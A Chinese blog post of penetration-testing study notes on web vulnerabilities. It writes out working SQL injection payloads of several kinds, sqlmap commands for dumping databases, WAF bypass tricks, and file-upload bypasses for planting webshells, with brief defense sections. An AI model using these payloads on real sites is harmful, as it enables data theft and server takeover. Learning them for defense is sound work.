首页 > 其他分享 >渗透基础

渗透基础

时间:2023-06-20 09:22:13浏览次数:56  
标签:name 渗透 数据库 基础 -- 表名 table select

 

WEB的组成架构模型

网站源码:分脚本类型、分应用方向

操作系统:Windows、Linux

中间件(搭建平台):Apache IIS Tomcat Nginx等

数据库:access mysql mssql oracle sybase db2 postsql等

 

WEB相关安全漏洞

WEB源码类对应漏洞 SQL注入,上传,xss,代码执行,变量覆盖,逻辑漏洞,反序列化等

WEB中间件对应漏洞

WEB数据库对应漏洞

WEB系统层对应漏洞

其他第三方对应漏洞

APP或pc应用结合类

 

SQL

原理

代码中没有对用户输入项进行验证和处理便直接拼接到查询语句中,通过把SQL语句插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

在mysql数据库中存在一个Information_schema数据库,这个数据库里面存在两张表。一个是tables表,里面存有所有的表名和数据库名;另一个是columns表,里面存有所有的字段名,字段所属的表名,字段所属的库名。第一步我们查找数据库名,第二步我们通过查找tables表里的数据库,可以确定表名,第三步我们通过前两步得到的库名和表名就可以在columns这张表中得到字段名,最后一步我们通过前几步得到的数据库名、表名、字段名得到想要的数据。

 

分类
  1. 显注

  2. 盲注(无回显):时间型,bool型,报错型

sql注入流程
1、找注入点,判断是否可以注入。

2、判断是数字型注入还是字符型注入。and 1=1 ;and 1=2

3、如果是字符型注入,判断闭合符。’ " ') ") …

4、优先使用联合查询注入->报错查询 ->bool型查询 ->时间盲注 ->宽字节

5、判断列数。 order by

6、判断显错位。 union select 1,2,3, …

7、求库、求表、求字段、求数据。

8、找后台,御剑扫后台目录。

9、上传一句话木马。菜刀,蚁剑连接
具体攻击方式
1、数字型注入

id=1'   //报错,说明有注入点
id=1 and 1=1 //正确
id=1 and 1=2 //错误,说明是数字型注入,否者为字符型注入

order by //判断列数
and 1=2 union select 1,2,3, ...   //判断显错位
and 1=2 union select 1,2,database()   //求库
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据
2、字符型注入(每句话的后面需要加--+)

id=1'   //报错,说明有注入点
id=1’ and '1'='1 //正确
id=1' and '1'='2 //错误,说明是字符型注入

order by //判断列数
and 1=2 union select 1,2,3, ...   //判断显错位
and 1=2 union select 1,2,database()   //求库
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名'   //求表
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='数据库名' and table_name='表名'   //求字段
and 1=2 union select 1,2,group_concat(字段名,字段名...) from 数据库.表名   //求数据
3、bool盲注入

首先是判断是数字型还是字符型注入,在得到页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据,那么我们可以判断这是一个布尔型盲注。

and (select length(database()))=8 //求库名长度,
and (select ascii(substr(database(),1,1)))=98 //求库名,求八次
and ascii(substr((select table_name from information_schema.tables where table_schema='数据库名' limit 0,1),1,1))=100 //求表名,
and ascii(substr((select column_name from information_schema.columns where table.schema='数据库名' and table_name='表名' limit 0,1),1,1))=118 //求字段名
and ascii(substr((select 字段名 from 数据库名.表名 limit 0,1),1,1))=118 //求数据
4、时间盲注入

首先是判断是数字型还是字符型注入,在得到页面响应时间多少来判断是否是时间盲注。利用页面响应时间不同,逐个猜解数据,那么我们可以判断这是一个时间盲注。
and if(length(database())=8,sleep(5),1) //如果数据库名长度在8,这响应延时5秒
and if(ascii(substr(database(),1,1))=95,sleep(5),1) //如果数据库
5、报错查询

and updatexml(1,concat(0x23,database()),1)//求库名
and updatexml(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema=数据库),0x23),1)//求表名
and updatexml(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='数据库名'and table_name='表名'),0x23),1)//求字段名
and updataxml(1,concat(0x23,(select group_concat(字段,0x23,字段) from 数据库名.表名)),1)//求数据
6、宽字节注入

index.php?id=1%df%27 union select 1,2%23
index.php?id=1%df%27 union select database(),2%23
这后面的和前面的几种类型注入相识,就不写了。
sqlmap用法

sqlmap
sqlmap -u "url" //-u选项是检测注入点
sqlmap -u "url" --dbs //--dbs选项是列出所有数据库名
sqlmap -u "url" --current-db //--current-db选项是列出当前数据库的名字
sqlmap -u "url" -D "数据库名" --tables //-D是指定一个数据库 --tables是列出这个数据库的所有表名
sqlmap -u "url" -D "数据库名" -T "表名" --columns //-T是指定表名 --columns是列出所有的字段名
sqlmap -u "url" -D "数据库名" -T "表名" -C "字段名" --dumo //-C是指定字段 --dumo是列出字段内容

post型:--data (--forms)
cookie型:--cookie
获取数据库: python sqlmap.py -u "url" --dbs
获取表名:python sqlmap.py -u "url" --tables -D db_name
获取字段名:python sqlamp.py -u "url" --columns -T table_name -D db_name
获取字段内容:python sqlmap.py -u "url" -C column_name --dump -T table_name -D
其他
判断用户:--is-dba
获取用户:--user
判断权限:--privileges
--cookie
对于一些绕过sql注入的方法

1、空格过滤绕过
2、大小写过滤绕过
3、双写关键字绕过
4、编码:双重url编码绕过、十六进制绕过
5、组合法:如and可以用&&再URL编码
6、等价函数替换绕过:如and改成&& =可以用like或in等
7、关键字可以用%(只有IIS系列):如select,可以sel%e%ct
8、通杀 ,内联注释,如/*!select*/
9、multipart请求绕过,在post请求中添加一个上传文件,绕过了绝大多数WAF
10、参数绕过,复制参数,id=1&id=1
防御SQL注入
1、关闭应用的错误提示
2、加waf
3、对输入进行过滤
4、限制输入长度
5、限制好数据库权限,drop/create/truncate等权限谨慎grant
6、预编译好sq1语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sq1注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
7、数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5
8、清晰的编程规范,结对/自动化代码review,加大量现成的解决方案
(Preparedstatement,ActiveRecord,歧义字符过滤,只可访问存储过程balabala)已经让SQL注入的风险变得非常低了。

 

文件上传

原理

程序员在对用户我呢间上传功能实现代码没有严格限制用户上传文件后缀已经文件类型或者处理缺陷,导致用户可以越权向服务器上传木马去控制服务器。

 

绕过方法
黑名单:

1、后缀名不完整 .php5 .phtml等

2、.htacess文件上传
这个文件里面的内容是AddType application/x-httpd-php .jpg。我们可以先上传.htaccess这个文件,然后在通过在图片中写入一句话木马,上传图片,这样图片就会被解析成php语言。

3、扩展名绕过
后缀换成大小写的方式绕过

4、在数据包中、后文件缀名前加空格

5、后缀名前加.

6、加上::$DATA

7、未循环验证,可以使用x.php..类似的方法

8、前端JS过滤绕过
如果想要在一个开启了JavaScript验证的网站上传一句话木马,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->将木马的后缀名改为jpg格式->点击forward将数据包发回,这样就可以上传成功。最后用菜刀连接。
还有一种方法就是在地址栏输入:about:config,搜索javascript:enabled,双击关闭,也可以成功。

9、Content-Type绕过
Content-Type一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定文件接收方将以什么形式、什么编码读取这个文件。
如果想要在一个有type验证的网站上传一句话木马,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->修改包内的Content-Type值:将application/octet-stream修改为image/jpeg。->点击forward将数据包发回,这样就可以上传成功。

白名单

1、%00截断
想通过00%截断来绕过有验证的网站上传一句话木马。将上传的文件名命名为test.php%00.jpg格式,我们可以给浏览器设置代理,127.0.0.1,端口为8080.利用BurpSuite软件代理->打开intercept(拦截)->修改包内的Content-Type值:将%00右击选择Covert selection选项中的URL进行编码->点击forward将数据包发回,这样就可以上传成功。注:系统在对文件名的读取时,如果遇到%00,就会认为读取已结束,不在读取后面的内容。
 
2、图片马(文件头校验绕过)
想要绕过有文件头校验的网站上传一句话木马,这个也很简单,就是在网上下载一张图片,用记事本打开,在图片的中间位置写上一句话木马。保存图片,就可以上传了。

3、条件竞争
竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。这个漏洞存在于操作系统、数据库、web等多个层面,像有名的脏牛(dirty cow)。
修复
1、后端验证:采用服务端验证模式
2、后缀验证:基于白名单,黑名单过滤
3、MIME验证:基于上传自带类型艰检测
4、内容检测:文件头,完整性检测
5、自带函数过滤
6、WAF防护软件:宝塔、云盾等

 

文件包含

原理

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

简单来说就是在写程序时遇到了重复编写的代码,程序员就会把这些重复的代码写在一个文件中,到时候要用到重复的代码时直接调用这个文件。

分类
  1. 本地文件包含

  2. 远程文件包含(即加载远程文件)

XSS

  • 跨站脚本攻击 (Cross Site Scripting)

是指攻击者利用网站程序对用户输入过滤不足, 输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。为了与层叠样式表(Cascading Style Sheets) 的缩写CSS区分开,跨站脚本攻击通常简写为XSS。

  • 危害

    • 盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号

    • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力

    • 盗窃企业重要的具有商业价值的资料

    • 非法转账

    • 强制发送电子邮件

    • 网站挂马

    • 控制受害者机器向其它网站发起攻击

  • 反射型XSS跨站脚本攻击

    • 反射型XSS脚本攻击只是简单 地将用户输入的数据直接或未经过完善的安全过滤就在浏览器中进行输出,导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,所以通常需要通过诱骗或加密变形等方式,将存在恶意代码的链接发给用户,只有用户点击以后才能使得攻击成功实施。

  • 存储型XSS跨站脚本攻击

    • 存储型XSS脚本攻击是指Web应用程序会将用户输入的数据信息保存在服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,因此存储型XSS具有较强的稳定性。

 

标签:name,渗透,数据库,基础,--,表名,table,select
From: https://www.cnblogs.com/xibro-baiyu/p/17337225.html

相关文章

  • 编码基础
    一、DPCMDPCM编码是一种信号编码器,它以脉冲编码调制(PCM)为基础,基于信号样本的预测添加了一些功能。DPCM的输入信号可以是模拟信号,也可以是数字信号。编码器原始图像输入xk,与预测的xk_hat相减得到残差ek,将残差ek进行量化得到量化编码ek_hat,ek_hat与上一帧预测的图像相加得到预测......
  • Verilog语法基础
    FPGA语法逻辑值:0:逻辑低电平,条件为假。1:逻辑高电平,条件为真。z:高阻态,无驱动x:未知逻辑电平,这既不是0也不是1,只是一个不稳定的状态。关键字:module:表示模块的开始,后边紧跟模块名,模块名一般跟.v文件一致,模块结束使用endmodule。输入输出信号:input输入、ouput输出、inout输入输......
  • MySQL入门基础知识
    1MySQL基础1.1常用命令启动服务:netstart服务名停止服务:netstop服务名启动MySQL服务器:MySQL【-h主机名-P端口号】-u用户名-p密码查看MySQL版本:MySQL--version或MySQL–V或登录到MySQL服务端使用selectversion();1.2语法规范每条命令最好用分号结尾每条......
  • python基础 | python中为什么没有自增运算符?
    学过Java或者C语言的同学在使用python时发现之前很方便的自增运算在python中无法使用,要想弄清楚这个问题,首先需要明白什么是自增运算符?自增运算符:自增运算符的作用是在运算结束前将变量的值加1。自增运算符一般存在于C/C++/C#/Java等高级语言中。自增运算是在该数字原来的内存地......
  • docker基础
    docker: 开源的应用容器引擎.可以给应用和应用需要的环境移植到linux机器上.版本:CE社区版本 EE企业版本,收费的安装docket//1.yum包更新到最新版本yumupdate//2.安装需要的软件包,yum-utils提供yum-config-manager功能,另外2个是devicemapper驱动功能yumin......
  • 硬件&芯片安全渗透利器--BTS1002多接口精密触发故障注入仪
    注1:该软硬件产品均为湖南底网安全信息技术有限公司自主研发,已申请1个发明专利,2个实用新型专利,1个软著,转载请注明出处注2:详细内容详见产品技术手册、用户手册,官网下载地址:www.bttmsec.com/h-col-152.html注3:诚招区域独家代理合作伙伴,欢迎洽谈合作,湖南底网安全竭诚为您服务作者:bi......
  • 一些计算机基础知识的考试复习题
    2013Excel里用AND在开头连接多个条件。立即寻址访问速度最快。直接寻址方式下,操作数在内存中,指令中给出操作数的地址,需要再访问一次内存来得到操作数。立即寻址方式下,操作数在指令中,所以在取得指令时就得到操作数,是速度最快的。寄存器寻址方式下,操作数在CPU的寄存器......
  • Git基础、Git指针、Git分支、Git标签
    什么是Git:它是一个分布式版本控制系统,支持断网操作,每个开发者都是一个仓库的完整克隆,每个人都是服务器         为什么要使用Git:它可以有效、高速的处理从很小到非常大的项目版本控制1.Git安装:   yum-yinstallgit  #使用yum安装Git           ......
  • 光学成像系统基础 (一)
    基础物理概念辐射学与色度学对比一、辐射学1.辐射通量辐射通量又称辐射功率,指单位时间内通过某一截面的辐射能,是以辐射形式发射、传播或接收的功率,单位为W(瓦),即1W=J/s(焦耳每秒)。它也是辐射能随时间的变化率Φ=dQ/dt。测量辐射通量的方法一般是由直流电置换辐射通量的等价置换......
  • 数据库信息速递 数据库基础设施已经不在青睐 ETL (译)
    。企业是7天24小时运营的。这包括从网站、后勤办公、供应链到其他所有方面。曾经,一切都是分批次进行的。就在几年前,操作系统会暂停,以便将数据加载到数据仓库并运行报告。现在的报告关注的是事情当前的状况。已没有时间进行ETL。许多IT架构仍然基于中心轮辐式系统。操作系统向数据仓......